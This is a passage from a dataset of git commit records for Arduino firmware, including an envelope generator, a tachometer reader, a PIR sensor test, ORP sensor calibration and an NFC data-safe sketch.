widget_setup(container_outer_);\n\n \/\/ output full display\n Display.display();\n\n \/\/ initialize filter\n env_lpf_ = new DUINO_Filter(DUINO_Filter::LowPass, 100.0, 0.0);\n\n \/\/ attach gate interrupt\n gt_attach_interrupt(GT3, gate_isr, CHANGE);\n }\n\n virtual void loop()\n {\n if (retrigger_)\n {\n gate_time_ = 0;\n release_time_ = 0;\n retrigger_ = false;\n\n if (update_cached_)\n {\n cached_params_ = widget_save_->params.vals;\n update_cached_ = false;\n }\n }\n\n if (gate_time_)\n {\n if (gate_)\n {\n const unsigned long elapsed = millis() - gate_time_;\n\n bool loop = cached_params_.loop > -1;\n const int8_t loop_start = cached_params_.loop % 3;\n bool loop_reverse = cached_params_.loop > 2;\n unsigned long pointer = rate_to_ms(1, true);\n uint8_t p = 0;\n bool reverse = false;\n int8_t repeat_count = 0;\n\n while (pointer < elapsed)\n {\n if (reverse)\n {\n p--;\n }\n else\n {\n p++;\n }\n\n \/\/ handle point 3\n if (p == 3)\n {\n \/\/ if we've hit point 3 the repeat count times...\n if (cached_params_.repeat && ++repeat_count == cached_params_.repeat)\n {\n \/\/ stop looping\n loop_reverse = loop = false;\n }\n\n if (loop_reverse)\n {\n reverse = true;\n }\n else\n {\n if (loop)\n {\n p = loop_start;\n }\n else\n {\n break;\n }\n }\n }\n\n \/\/ clear reverse flag at start point\n if (p == loop_start && reverse)\n {\n reverse = false;\n }\n\n \/\/ move the pointer\n if (reverse)\n {\n \/\/ if we're pointed backward, add the current point's rate\n pointer += rate_to_ms(p, true);\n }\n else\n {\n \/\/ if we're pointed forward, add the next point's rate\n pointer += rate_to_ms(p + 1, true);\n }\n }\n\n if (pointer < elapsed)\n {\n \/\/ done looping, sustain at point 3\n cv_current_ = level_to_cv(3, true);\n }\n else\n {\n \/\/ linearly interpolate between current and next point\n const float cv_start = level_to_cv(p, true);\n const float cv_end = level_to_cv(reverse ? p - 1 : p + 1, true);\n const float remaining = (float)(pointer - elapsed) \/ (float)rate_to_ms(reverse ? p : p + 1, true);\n cv_current_ = cv_end + (cv_start - cv_end) * remaining;\n }\n }\n else\n {\n if (release_time_)\n {\n const uint16_t elapsed = millis() - release_time_;\n if(elapsed < rate_to_ms(4, true) * ENV_RELEASE_HOLD)\n {\n \/\/ release\n cv_current_ = exp(ENV_RELEASE_COEFF * ((float)elapsed \/ (float)rate_to_ms(4, true))) * cv_released_;\n }\n else\n {\n cv_current_ = 0.0;\n release_time_ = 0;\n gate_time_ = 0;\n }\n }\n else\n {\n release_time_ = millis();\n cv_released_ = cv_current_;\n }\n }\n\n const float filtered_cv = env_lpf_->filter(cv_current_);\n cv_out(CO1, filtered_cv);\n cv_out(CO3, filtered_cv \/ 2.0);\n }\n else if (gate_)\n {\n gate_time_ = millis();\n }\n\n widget_loop();\n\n \/\/ display gate\n if (gate_ != last_gate_)\n {\n last_gate_ = gate_;\n Display.fill_rect(123, 14, 3, 3, gate_ ? DUINO_SH1106::White : DUINO_SH1106::Black);\n Display.display(123, 125, 1, 2);\n }\n }\n\n void gate_callback()\n {\n gate_ = gt_read_debounce(GT3);\n if (gate_)\n {\n retrigger_ = true;\n }\n }\n\n void widget_loop_scroll_callback(int delta)\n {\n const int8_t loop_last = widget_save_->params.vals.loop;\n\n widget_save_->params.vals.loop += delta;\n sanitize_loop();\n if (widget_save_->params.vals.loop != loop_last)\n {\n widget_save_->mark_changed();\n update_cached_ = true;\n widget_save_->display();\n display_loop();\n }\n }\n\n void widget_repeat_scroll_callback(int delta)\n {\n const int8_t repeat_last = widget_save_->params.vals.repeat;\n\n widget_save_->params.vals.repeat += delta;\n sanitize_repeat();\n if (widget_save_->params.vals.repeat != repeat_last)\n {\n widget_save_->mark_changed();\n update_cached_ = true;\n widget_save_->display();\n display_repeat();\n }\n }\n\n void widgets_points_scroll_callback(uint8_t selected, int delta)\n {\n \/\/ FIXME: don't edit the save params directly - swap them in between gates\n\n const uint8_t p = (selected + 1) \/ 2;\n const uint8_t parameter = selected & 1;\n\n if (parameter)\n {\n \/\/ adjust rate\n const int8_t rate_last = widget_save_->params.vals.rate[p];\n widget_save_->params.vals.rate[p - 1] += delta;\n sanitize_rate();\n if(widget_save_->params.vals.rate[p - 1] != rate_last)\n {\n widget_save_->mark_changed();\n update_cached_ = true;\n widget_save_->display();\n display_plr(p);\n display_loop();\n display_envelope();\n }\n }\n else\n {\n \/\/ adjust level\n const int8_t level_last = widget_save_->params.vals.level[p];\n widget_save_->params.vals.level[p] += delta;\n sanitize_level();\n if(widget_save_->params.vals.level[p] != level_last)\n {\n widget_save_->mark_changed();\n update_cached_ = true;\n widget_save_->display();\n display_plr(p);\n display_envelope();\n } \n }\n }\n\n void widgets_points_invert_callback(uint8_t p)\n {\n display_plr(p);\n }\n\nprivate:\n void sanitize_level()\n {\n for (uint8_t p = 0; p < 4; ++p)\n {\n if (widget_save_->params.vals.level[p] < 0)\n {\n widget_save_->params.vals.level[p] = 0;\n }\n else if (widget_save_->params.vals.level[p] > 99)\n {\n widget_save_->params.vals.level[p] = 99;\n }\n }\n }\n\n void sanitize_rate()\n {\n for (uint8_t p = 0; p < 4; ++p)\n {\n if (widget_save_->params.vals.rate[p] < 0)\n {\n widget_save_->params.vals.rate[p] = 0;\n }\n else if (widget_save_->params.vals.rate[p] > 96)\n {\n widget_save_->params.vals.rate[p] = 96;\n }\n }\n }\n\n void sanitize_loop()\n {\n if (widget_save_->params.vals.loop < -1)\n {\n widget_save_->params.vals.loop = -1;\n }\n else if (widget_save_->params.vals.loop > 5)\n {\n widget_save_->params.vals.loop = 5;\n }\n }\n\n void sanitize_repeat()\n {\n if (widget_save_->params.vals.repeat < 0)\n {\n widget_save_->params.vals.repeat = 0;\n }\n else if (widget_save_->params.vals.repeat > 7)\n {\n widget_save_->params.vals.repeat = 7;\n }\n }\n\n float level_to_cv(uint8_t p, bool use_cached = false)\n {\n if (p == 4)\n {\n return 0.0;\n }\n\n const int8_t level = (use_cached ? cached_params_ : widget_save_->params.vals).level[p];\n return (float)level \/ 9.9;\n }\n\n uint16_t rate_to_ms(uint8_t p, bool use_cached = false)\n {\n if (p == 0)\n {\n return 0;\n }\n\n const int8_t rate = (use_cached ? cached_params_ : widget_save_->params.vals).rate[p - 1];\n return (uint16_t)pgm_read_word(&rate_lut[rate]);\n }\n\n uint8_t level_to_y(uint8_t p)\n {\n if (p == 4)\n {\n return 57;\n }\n\n return 24 + (99 - widget_save_->params.vals.level[p]) \/ 3;\n }\n\n uint8_t rate_to_x(uint8_t p)\n {\n if (p == 0)\n {\n return 0;\n }\n\n return rate_to_x(p - 1) + 6 + (widget_save_->params.vals.rate[p - 1] \/ 4) + (p == 4 ? 2 : 0);\n }\n\n void display_plr(uint8_t p, bool update = true)\n {\n \/\/ blank area\n Display.fill_rect(64, 0, 54, 7, DUINO_SH1106::Black);\n\n \/\/ draw fixed elements\n Display.draw_char(54, 0, 'L', DUINO_SH1106::White);\n Display.draw_pixel(61, 1, DUINO_SH1106::White);\n Display.draw_pixel(61, 5, DUINO_SH1106::White);\n Display.draw_char(79, 0, 'R', DUINO_SH1106::White);\n Display.draw_pixel(86, 1, DUINO_SH1106::White);\n Display.draw_pixel(86, 5, DUINO_SH1106::White);\n\n uint8_t i;\n \n \/\/ display level\n int8_t level = widget_save_->params.vals.level[p];\n if (level)\n {\n i = 0;\n while (level)\n {\n Display.draw_char(70 - 6 * i, 0, '0' + level % 10, DUINO_SH1106::White);\n level \/= 10;\n i++;\n }\n }\n else\n {\n Display.draw_char(70, 0, '0', DUINO_SH1106::White);\n }\n\n \/\/ display rate\n uint16_t rate = rate_to_ms(p);\n if (rate)\n {\n i = 0;\n while (rate)\n {\n Display.draw_char(113 - 6 * i, 0, '0' + rate % 10, DUINO_SH1106::White);\n rate \/= 10;\n i++;\n }\n }\n else\n {\n Display.draw_char(113, 0, '0', DUINO_SH1106::White);\n }\n\n if (update)\n {\n Display.display(45, 117, 0, 0);\n }\n }\n\n void display_loop(bool update = true)\n {\n \/\/ blank area\n Display.fill_rect(widget_loop_->x() + 2, widget_loop_->y() + 1, widget_loop_->width() - 4,\n widget_loop_->height() - 2, DUINO_SH1106::Black);\n\n if (widget_save_->params.vals.loop > -1)\n {\n const uint8_t x1 = rate_to_x(widget_save_->params.vals.loop % 3) + 2;\n const uint8_t x2 = rate_to_x(3) + 3;\n const uint8_t w = x2 - x1 + 1;\n\n \/\/ draw shaft\n Display.draw_hline(x1, widget_loop_->y() + 3, w, DUINO_SH1106::White);\n\n \/\/ draw forward arrow head\n Display.draw_vline(x2 - 1, widget_loop_->y() + 2, 3, DUINO_SH1106::White);\n Display.draw_vline(x2 - 2, widget_loop_->y() + 1, 5, DUINO_SH1106::White);\n \n \/\/ draw reverse arrow head\n if (widget_save_->params.vals.loop > 2)\n {\n Display.draw_vline(x1 + 1, widget_loop_->y() + 2, 3, DUINO_SH1106::White);\n Display.draw_vline(x1 + 2, widget_loop_->y() + 1, 5, DUINO_SH1106::White);\n }\n }\n\n if (update)\n {\n widget_loop_->display();\n }\n }\n\n void display_repeat(bool update = true)\n {\n Display.fill_rect(widget_repeat_->x() + 7, widget_repeat_->y() + 1, 5, 7,\n widget_repeat_->inverted() ? DUINO_SH1106::White : DUINO_SH1106::Black);\n\n const unsigned char c = widget_save_->params.vals.repeat ? '0' + widget_save_->params.vals.repeat : 'C';\n Display.draw_char(widget_repeat_->x() + 7, widget_repeat_->y() + 1, c,\n widget_repeat_->inverted() ? DUINO_SH1106::Black : DUINO_SH1106::White);\n\n if (update)\n {\n widget_repeat_->display();\n }\n }\n\n void display_envelope(bool update = true)\n {\n Display.fill_rect(0, 24, 128, 40, DUINO_SH1106::Black);\n\n for (uint8_t p = 0; p < 5; ++p)\n {\n const uint8_t x = rate_to_x(p);\n const uint8_t y = level_to_y(p);\n\n Display.draw_bitmap_7(x, y, icons, p, DUINO_SH1106::White);\n\n if (p < 3)\n {\n Display.draw_line(x + 5, y + 3, rate_to_x(p + 1), level_to_y(p + 1) + 3, DUINO_SH1106::White);\n }\n else if (p == 3)\n {\n Display.draw_hline(x + 6, y + 3, 2, DUINO_SH1106::White);\n\n \/\/ draw exponential decay\n uint8_t xs = x + 8;\n uint8_t ys = y + 3;\n const uint8_t x4 = rate_to_x(4);\n const uint8_t yh = 57 - y;\n const uint8_t xw = x4 - xs;\n if (xs == x4)\n {\n Display.draw_vline(xs, ys, yh + 1, DUINO_SH1106::White);\n }\n else\n {\n while (xs < x4)\n {\n uint8_t ye = 60 - (uint8_t)((float)yh * exp(-(float)((10 + (128 \/ xw)) * (xs - x - 7)) \/ (float)(x4)));\n Display.draw_line(xs, ys, xs + 1, ye, DUINO_SH1106::White);\n xs++;\n ys = ye;\n }\n }\n }\n }\n\n if (update)\n {\n Display.display(0, 127, 3, 7);\n }\n }\n\n struct ParameterValues\n {\n int8_t level[4]; \/\/ levels of points 0 - 3 (0 - 99)\n int8_t rate[4]; \/\/ rates of points 1 - 4 (0 - 96)\n int8_t loop; \/\/ -1 = off, loop % 3 = loop start, loop > 2 = loop back and forth\n int8_t repeat; \/\/ 0 = continuous, 1 - 7 = finite repeats\n };\n\n ParameterValues cached_params_;\n\n DUINO_WidgetContainer<3> * container_outer_;\n DUINO_WidgetContainer<2> * container_loop_repeat_;\n DUINO_WidgetContainer<8> * container_points_;\n DUINO_SaveWidget<ParameterValues> * widget_save_;\n DUINO_DisplayWidget * widget_loop_;\n DUINO_DisplayWidget * widget_repeat_;\n DU_VSEG_PointWidget * widgets_points_[8];\n\n DUINO_Filter * env_lpf_;\n\n volatile bool gate_, retrigger_;\n unsigned long gate_time_, release_time_;\n float cv_current_, cv_released_;\n bool last_gate_, update_cached_;\n};\n\nDU_VSEG_Function * function;\n\nvoid gate_isr() { function->gate_callback(); }\n\nvoid loop_scroll_callback(int delta) { function->widget_loop_scroll_callback(delta); }\nvoid repeat_scroll_callback(int delta) { function->widget_repeat_scroll_callback(delta); }\nvoid points_scroll_callback(uint8_t selected, int delta) { function->widgets_points_scroll_callback(selected, delta); }\nvoid points_invert_callback(uint8_t p) { function->widgets_points_invert_callback(p); }\n\nvoid setup()\n{\n function = new DU_VSEG_Function();\n\n function->begin();\n}\n\nvoid loop()\n{\n function->loop();\n}\n","returncode":0,"stderr":"","license":"bsd-3-clause","lang":"Arduino"} {"commit":"d6fbf6e2f64b38482782fd6c4987c7a37392b007","subject":"Initial arduino fw","message":"Initial arduino fw\n\nIncludes initial tach feed reading on an arbitrary digital pin. Note\nthat this requires the feed volts to be regulated down to 5V HIGH, 0V\nLOW (from the tach feed it is ~12V).\n","repos":"prosser\/btdash,prosser\/btdash,prosser\/btdash,prosser\/btdash","old_file":"arduino\/btdash\/btdash.ino","new_file":"arduino\/btdash\/btdash.ino","new_contents":"#include <digitalWriteFast.h>\n\n\n\/\/ By default, communicate at this bitrate. The listener client must match this value.\nconst unsigned long SERIAL_BPS = 115200;\n\n#define VERSION_STRING \"BTDASH_0.0.1\"\n\n\/\/ time constants for readability\nconst unsigned long MILLIS_PER_SECOND = 1000;\nconst unsigned long MICROS_PER_SECOND = 1000000;\n\n\/\/ 33% duty cycle. For a 50% duty cycle, use 2, etc.\nconst unsigned int TACH_DUTY_CYCLE = 3;\nconst unsigned long MICROS_PER_RPM = 100 * MICROS_PER_SECOND \/ (3 * TACH_DUTY_CYCLE);\n\n\/\/ input mapping\nconst unsigned int PIN_TACH = 52;\n\n\/\/ output mapping\n#define SERIAL_BT Serial\n\nunsigned long duration;\n\/\/ word size is 16 bits, so max RPM is 32767. If your engine revs that high, you're driving an F1 from 2154!\nunsigned int uRpm = 0;\nunsigned long ulRpmTrigger = 0;\n\n\/\/ the setup routine runs once when you power on or press reset\nvoid setup() { \n \/\/ initialize the serial output\n SERIAL_BT.begin(SERIAL_BPS);\n\n pinMode(PIN_TACH, INPUT);\n establishContact();\n} \n\n\/\/ the loop routine runs over and over again forever\nvoid loop() {\n readTach();\n writeDash();\n\n delay(500);\n}\n\nvoid establishContact() {\n while (SERIAL_BT.available() <= 0) {\n SERIAL_BT.println(VERSION_STRING); \/\/ send an initial string\n delay(500);\n }\n}\n\n\/\/\n\/\/ write the current state of the instruments to the serial output.\n\/\/\nvoid writeDash() {\n if (SERIAL_BT.available() > 0) {\n SERIAL_BT.print(\"rpm=\");\n SERIAL_BT.print(uRpm);\n\n SERIAL_BT.println();\n }\n}\n\n\/\/\n\/\/ read the tachometer feed from the car's ECU\n\/\/\nvoid readTach() {\n \/\/ On the Ariel Atom 2 w\/ SPA dash, the tach signal is a 12V pulse with a 33% duty cycle on pin 1 of the SPA harness.\n if (digitalRead(PIN_TACH) == LOW) {\n if (ulRpmTrigger != 0) {\n uRpm = MICROS_PER_RPM \/ (micros() - ulRpmTrigger);\n\n \/\/ reset the trigger\n ulRpmTrigger = 0;\n }\n }\n else if (ulRpmTrigger == 0) {\n \/\/ transitioning from low to high.\n ulRpmTrigger = micros();\n }\n}\n\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/btdash\/btdash.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"5063e268884fa51da701de8c280e5eb24d0aa7fb","subject":"Added test code which times sensor readings and outputs them on serial. Allows long runs to discern a suitable value for the minimum sensor threshold.","message":"Added test code which times sensor readings and outputs them on serial. Allows long runs to discern a suitable value for the minimum sensor threshold.\n","repos":"mcqn\/PassingPersonCounter","old_file":"PIRTest\/PIRTest.ino","new_file":"PIRTest\/PIRTest.ino","new_contents":"#include <GSM.h>\n#include <Time.h>\n\nconst int kReadingsBufferSize = 30;\nvolatile int gReadingIdx = 0;\nunsigned long gReadingsBuffer[30];\n\n#define MEGA 0\n\n#if MEGA\n\/\/ The Mega-Hera200 doesn't expose Serial to the expansion connector\n\/\/ but Serial3 is on PJ0 and PJ1\n#define LOG_SERIAL_PORT Serial3\n\/\/ PIR sensor constants\nconst int kPIRSensorPin = 20;\nconst int kPIRSensorInterrupt = 3;\n\n#else\n\n\/\/ PIR sensor constants\nconst int kPIRSensorPin = 1;\nconst int kPIRSensorInterrupt = 3;\n#define LOG_SERIAL_PORT Serial\n\n#endif\n\n\nvolatile int movementCount =0;\nvolatile unsigned long movementStart =0;\nint lastMovementCount =0;\nunsigned long lastMovementTime =0;\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n LOG_SERIAL_PORT.begin(9600);\n while (!LOG_SERIAL_PORT) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n pinMode(kPIRSensorPin, INPUT);\n attachInterrupt(kPIRSensorInterrupt, movementDetected, CHANGE);\n LOG_SERIAL_PORT.println(\"Let's go!\");\n \n findTime();\n}\n\nvolatile int gLastIdx = 0;\n\nclass PrintTime : public Printable\n{\npublic:\n PrintTime(time_t aTime) : iTime(aTime) {};\n virtual size_t printTo(Print& p) const;\nprotected:\n time_t iTime;\n};\n\nsize_t PrintTime::printTo(Print& p) const\n{\n size_t ret = 0;\n tmElements_t time_elements;\n \n breakTime(iTime, time_elements);\n ret += p.print(tmYearToCalendar(time_elements.Year));\n ret += p.print(\"-\");\n if (time_elements.Month < 10)\n {\n ret += p.print(\"0\");\n }\n ret += p.print(time_elements.Month);\n ret += p.print(\"-\");\n if (time_elements.Day < 10)\n {\n ret += p.print(\"0\");\n }\n ret += p.print(time_elements.Day);\n ret += p.print(\"T\");\n if (time_elements.Hour < 10)\n {\n ret += p.print(\"0\");\n }\n ret += p.print(time_elements.Hour);\n ret += p.print(\":\");\n if (time_elements.Minute < 10)\n {\n ret += p.print(\"0\");\n }\n ret += p.print(time_elements.Minute);\n ret += p.print(\":\");\n if (time_elements.Second < 10)\n {\n ret += p.print(\"0\");\n }\n ret += p.print(time_elements.Second);\n ret += p.print(\"Z\");\n \n return ret;\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly: \n int newIdx = gReadingIdx;\n if (newIdx != gLastIdx)\n {\n \/\/ We've got a new reading\n unsigned long the_time = now();\n PrintTime pt(the_time);\n LOG_SERIAL_PORT.print(pt);\n LOG_SERIAL_PORT.print(\",\");\n LOG_SERIAL_PORT.print(the_time);\n LOG_SERIAL_PORT.print(\",\");\n LOG_SERIAL_PORT.print(gLastIdx);\n LOG_SERIAL_PORT.print(\",\");\n LOG_SERIAL_PORT.println(gReadingsBuffer[gLastIdx]);\n gLastIdx = newIdx;\n }\n delay(100);\n}\n\nvoid movementDetected()\n{\n if (digitalRead(kPIRSensorPin))\n {\n movementStart = millis();\n }\n else\n {\n \/\/ Find out how long we've been active, and use that to guide\n \/\/ how many people we think have passed\n movementCount++;\n \/\/ AMc - the 4430 is the right value, using the lower one\n \/\/ AMc - during testing to check we get decent readings\n\/\/ if (millis()-movementStart > 4430) {\n if (millis()-movementStart > 4030) {\n gReadingsBuffer[gReadingIdx++] = millis()-movementStart;\n if (gReadingIdx >= kReadingsBufferSize)\n {\n gReadingIdx = 0;\n }\n }\n }\n}\n\nvoid findTime()\n{\n GSMClock modem;\n \n if(modem.begin()) \n {\n#if DEBUG\n LOG_SERIAL_PORT.println(\"modem.begin() succeeded\");\n#endif\n }\n else\n {\n#if DEBUG\n LOG_SERIAL_PORT.println(\"ERROR, no modem answer.\");\n#endif\n }\n\n if (modem.getTime()[0] == '0')\n {\n \/\/ The modem is reporting a time from the 2000s, which means\n \/\/ it's not the right time\n#if !DEBUG\n LOG_SERIAL_PORT.begin(9600);\n#endif\n \n \/\/ Try to set it from the network\n if (!modem.setTimeFromNetwork(1*60*1000UL))\n {\n LOG_SERIAL_PORT.println(\"Didn't get the time signal from the network\");\n \/\/ Give the user a window to set it via the serial monitor\n LOG_SERIAL_PORT.println(\"Enter the time (in seconds since Jan 1 1970):\");\n LOG_SERIAL_PORT.setTimeout(5*60*1000UL);\n unsigned long the_time = LOG_SERIAL_PORT.parseInt();\n LOG_SERIAL_PORT.print(\"Got time of \");\n LOG_SERIAL_PORT.println(the_time);\n if (the_time > 0)\n {\n \/\/ We've been given a time, so let's use it\n modem.setTime(timeToString(now()));\n }\n }\n }\n \/\/ Set the Time library time from the modem\n String modemTime = modem.getTime();\n LOG_SERIAL_PORT.print(\"The time is \");\n LOG_SERIAL_PORT.println(modemTime);\n setTimeFromModem(modemTime);\n LOG_SERIAL_PORT.print(\"The internal time is \");\n LOG_SERIAL_PORT.println(now());\n#if !DEBUG\n LOG_SERIAL_PORT.end();\n#endif\n}\n\nString timeToString(time_t aTime)\n{\n TimeElements time_elements;\n breakTime(aTime, time_elements);\n String ret(tmYearToY2k(time_elements.Year));\n ret += \"\/\";\n if (time_elements.Month < 10)\n {\n ret += \"0\";\n }\n ret += time_elements.Month;\n ret += \"\/\";\n if (time_elements.Day < 10)\n {\n ret += \"0\";\n }\n ret += time_elements.Day;\n ret += \",\";\n if (time_elements.Hour < 10)\n {\n ret += \"0\";\n }\n ret += time_elements.Hour;\n ret += \":\";\n if (time_elements.Minute < 10)\n {\n ret += \"0\";\n }\n ret += time_elements.Minute;\n ret += \":\";\n if (time_elements.Second < 10)\n {\n ret += \"0\";\n }\n ret += time_elements.Second;\n ret += \"+00\";\n return ret;\n}\n\nvoid setTimeFromModem(String& aTime)\n{\n const int kDateTimeStringLength = 20;\n const int kYearOffset = 0;\n const int kYearLength = 2;\n const int kMonthOffset = 3;\n const int kMonthLength = 2;\n const int kDayOffset = 6;\n const int kDayLength = 2;\n const int kHourOffset = 9;\n const int kHourLength = 2;\n const int kMinuteOffset = 12;\n const int kMinuteLength = 2;\n const int kSecondOffset = 15;\n const int kSecondLength = 2;\n \n if (aTime.length() >= kDateTimeStringLength)\n {\n String component = aTime.substring(kYearOffset, kYearOffset+kYearLength);\n tmElements_t time_elements;\n#if DEBUG\n LOG_SERIAL_PORT.println(component);\n#endif\n time_elements.Year = y2kYearToTm(component.toInt());\n component = aTime.substring(kMonthOffset, kMonthOffset+kMonthLength);\n time_elements.Month = component.toInt();\n component = aTime.substring(kDayOffset, kDayOffset+kDayLength);\n time_elements.Day = component.toInt();\n component = aTime.substring(kHourOffset, kHourOffset+kHourLength);\n time_elements.Hour = component.toInt();\n component = aTime.substring(kMinuteOffset, kMinuteOffset+kMinuteLength);\n time_elements.Minute = component.toInt();\n component = aTime.substring(kSecondOffset, kSecondOffset+kSecondLength);\n time_elements.Second = component.toInt();\n \n \/\/ Now use that to set the time\n setTime(makeTime(time_elements));\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PIRTest\/PIRTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"92c324dab5a516455703e598d14c6e87ad957bb7","subject":" - Adicionado calibra\u00e7\u00e3o do sensor ORP","message":" - Adicionado calibra\u00e7\u00e3o do sensor ORP\n","repos":"InfoAmazonia\/rede-firmware","old_file":"calibration\/calibrationORP\/calibrationORP.ino","new_file":"calibration\/calibrationORP\/calibrationORP.ino","new_contents":"\/*\nThe MIT License (MIT)\n\nCopyright (c) 2015 DEV Tecnologia, Rede Infoamaz\u00f4nia\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n\/\/ Offset values\nfloat orpOffset = 0.0;\n\n\/\/ Analog I\/O pins\nconst byte ORP_PIN = A11;\n\nconst byte MULT_A = 42;\nconst byte MULT_B = 43;\nconst byte MULT_C = 40;\n\nconst byte S1_EN = A5; \/\/ S1: EC sensor\nconst byte S2_EN = A6; \/\/ S2: ORP sensor\nconst byte S3_EN = A7; \/\/ S3: pH sensor\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/ Set output pins\n pinMode(S1_EN, OUTPUT);\n digitalWrite(S1_EN, HIGH);\n pinMode(S2_EN, OUTPUT);\n digitalWrite(S2_EN, HIGH);\n pinMode(S3_EN, OUTPUT);\n digitalWrite(S3_EN, HIGH);\n\n pinMode(MULT_A, OUTPUT);\n digitalWrite(MULT_A, HIGH);\n pinMode(MULT_B, OUTPUT);\n digitalWrite(MULT_B, HIGH);\n pinMode(MULT_C, OUTPUT);\n digitalWrite(MULT_C, LOW);\n\n Serial.println(\"Beginning callibration...\");\n Serial.println(\"Insert a 'Short Circuit' on the ORP opening.\");\n Serial.println(\"Press enter after the 'Short' is inserted.\");\n while (Serial.available() == 0);\n Serial.readString();\n Serial.println(\"Measuring...\");\n Serial.println();\n\n orpOffset = read_orp();\n \n Serial.println(\"----------------------------------\");\n Serial.println(\"Values to calibrate the meter:\");\n Serial.print(\"orpOffset: \");\n Serial.println(orpOffset);\n Serial.println(\"----------------------------------\");\n \n Serial.println();\n Serial.println();\n while (Serial.available() == 0);\n Serial.readString();\n}\n\nvoid loop(){\n Serial.println(read_orp());\n}\n\nfloat read_orp() {\n \/\/ Read ORP\n delay(500);\n digitalWrite(S2_EN, LOW);\n delay(500);\n\n float val = analogRead(ORP_PIN) \/ 1024.0;\n val = (30.0 * 5.0 * 1000.0) - (75.0 * val * 5.0 * 1000);\n val = (val \/ 75.0) - orpOffset;\n \n digitalWrite(S2_EN, HIGH);\n \n return val;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'calibration\/calibrationORP\/calibrationORP.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8aecb82803dcc8db827d75a4273f4d81e2d9d795","subject":"Fixed GPS integration","message":"Fixed GPS integration\n","repos":"jadalqui\/ha_arduino,jadalqui\/ha_arduino","old_file":"ha_esp32\/ha_esp32.ino","new_file":"ha_esp32\/ha_esp32.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jadalqui\/ha_arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d8eedc66497d7f546d0ba2465bf2f6ecdd25931d","subject":"Revert the mistaken revert(?) and add clock trim","message":"Revert the mistaken revert(?) and add clock trim\n","repos":"dltn\/tortellini,dltn\/tortellini","old_file":"server-firmware\/BadgeClock\/BadgeClockTrim.ino","new_file":"server-firmware\/BadgeClock\/BadgeClockTrim.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dltn\/tortellini.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c587d432de3745f535dffff528b0e0b346b8070d","subject":"Create hold.ino","message":"Create hold.ino","repos":"miketarrant\/charlieplexing_low_power_flasher,miketarrant\/charlieplexing_low_power_flasher","old_file":"examples\/hold.ino","new_file":"examples\/hold.ino","new_contents":"To create folder\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/hold.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fbfab6c1cee1847c990d4f11a7ca2aec1f169234","subject":"DataSafe.ino added \/BB","message":"DataSafe.ino added \/BB\n","repos":"bboortz\/datasafe,bboortz\/datasafe","old_file":"DataSafe.ino","new_file":"DataSafe.ino","new_contents":"\/***************************************************\n\t@author:\tbboortz\n\t@license:\tbsd license\n***************************************************\/\n\n\n\n\n\/**** library includes ****\/\n\n#include <SPI.h> \n#include <Wire.h> \/\/ this is needed even tho we aren't using it\n\n#include <Adafruit_GFX.h> \/\/ the adafruit core graphics lib\n#include <Adafruit_ILI9341.h> \/\/ the adafruit tft lib\n#include <Adafruit_STMPE610.h> \/\/ the adafruit touch lib\n#include <Adafruit_NFCShield_I2C.h> \/\/ the adafruit nfc shield lib\n\n#include <ScreenLib.h>\n#include <NFCLib.h>\n\n\/\/#include <SD.h>\n\/\/#include <SDLib.h>\n\n\n\n\n\/**** widget library settings ****\/\n\nScreenLib screen = ScreenLib(TFT_CS, TFT_DC);\n\n\n\n\n\/**** ntc settings ****\/\n\nAdafruit_NFCShield_I2C nfc(NFC_IRQ_PIN, NFC_RESET_PIN);\nNFCLib nfclib;\n\nchar nfc_key[6] = { 0, 0, 0, 0, 0, 0 }; \/\/ the key buffer\nuint8_t nfc_key_count = 0;\n\n\n\n\n\/**** sd settings ****\/\n\n\/\/SDLib sd;\n\n\n\n\n\/**** keyboard settings ****\/\n\n\/\/ TODO: we should do it in the ScreenLib\nuint16_t last_key_press_ms = 0;\n\/\/char last_key = 0;\n\n\n\n\n\/**** current state settings ****\/\n\n#define STATE_RESET \t\t0\n#define STATE_NFC_KEY_LOGIN \t1\n#define STATE_NFC_CARD_LOGIN \t2\n#define STATE_SHOW_DATA \t3\n#define STATE_END \t\t4\n\nuint8_t current_state = 